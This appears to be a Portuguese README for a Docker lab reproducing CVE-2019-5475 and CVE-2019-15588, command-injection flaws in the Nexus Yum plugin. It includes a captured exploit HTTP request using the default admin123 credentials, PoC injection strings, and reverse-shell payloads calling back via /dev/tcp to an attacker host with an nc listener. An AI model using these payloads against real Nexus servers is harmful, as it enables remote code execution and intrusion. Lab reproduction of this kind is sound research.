
Laboratório CVE-2019-5475: vulnerabilidade de injeção de comandos RCE
Laboratório para CVE-2019-5475 e CVE-2019-15588: vulnerabilidade de injeção de comandos RCE
CVE-2019-5475 é uma vulnerabilidade de injeção de comandos RCE no Nexus relacionada ao plugin integrado Yum Repository. Foi divulgada inicialmente no hackerone. Porém, como a primeira correção oficial foi incompleta, acabou originando também a vulnerabilidade CVE-2019-15588.
Ambas as vulnerabilidades só podem ser exploradas após login como admin, mas a senha padrão do administrador do Nexus, admin123, frequentemente não é alterada, tornando a exploração muito fácil.
CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目:模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│ └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]
cd CVE-2019-5475docker-compose up -dadmin/admin123), onde:| Nexus | CVE | URL |
|---|---|---|
| 2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
| 2.14.14 | CVE-2019-15588 | http://127.0.0.1:8014/nexus |
Este laboratório também inclui uma máquina de ataque 172.168.50.2, na mesma rede das duas máquinas-alvo, usada para validar a reverse shell.
Faça login como admin em http://127.0.0.1:8009/nexus/#capabilities; em Administration -> Capabilities -> Yum: Configuration -> Settings, é possível encontrar o ponto de injeção de RCE.
Os campos Path of "createrepo" e Path of "mergerepo" podem ser injetados, e o resultado da execução pode ser visualizado em Status.
Por exemplo, ao construir o PoC bash -c id || python no ponto de injeção createrepo, é possível obter em Status o resultado da execução do comando bash -c id: uid=200(nexus) gid=200(nexus) groups=200(nexus).
A requisição do PoC correspondente pode ser capturada via BurpSuite:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}


Este ponto de injeção pode ser facilmente explorado para construir uma reverse shell:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo acima: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
O ponto de injeção é o mesmo do CVE-2019-5475; ajuste o PoC para: /bin/bash -c id || /createrepo


Esta vulnerabilidade pode ser explorada usando o mesmo método para obter uma reverse shell:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
nexus-yum-core é o trecho de código central do Nexus relacionado à exploração desta vulnerabilidade, usado principalmente para depurar e analisar diretamente o payload de entrada no backend, sem a necessidade de construir um serviço Nexus completo a partir do código-fonte.
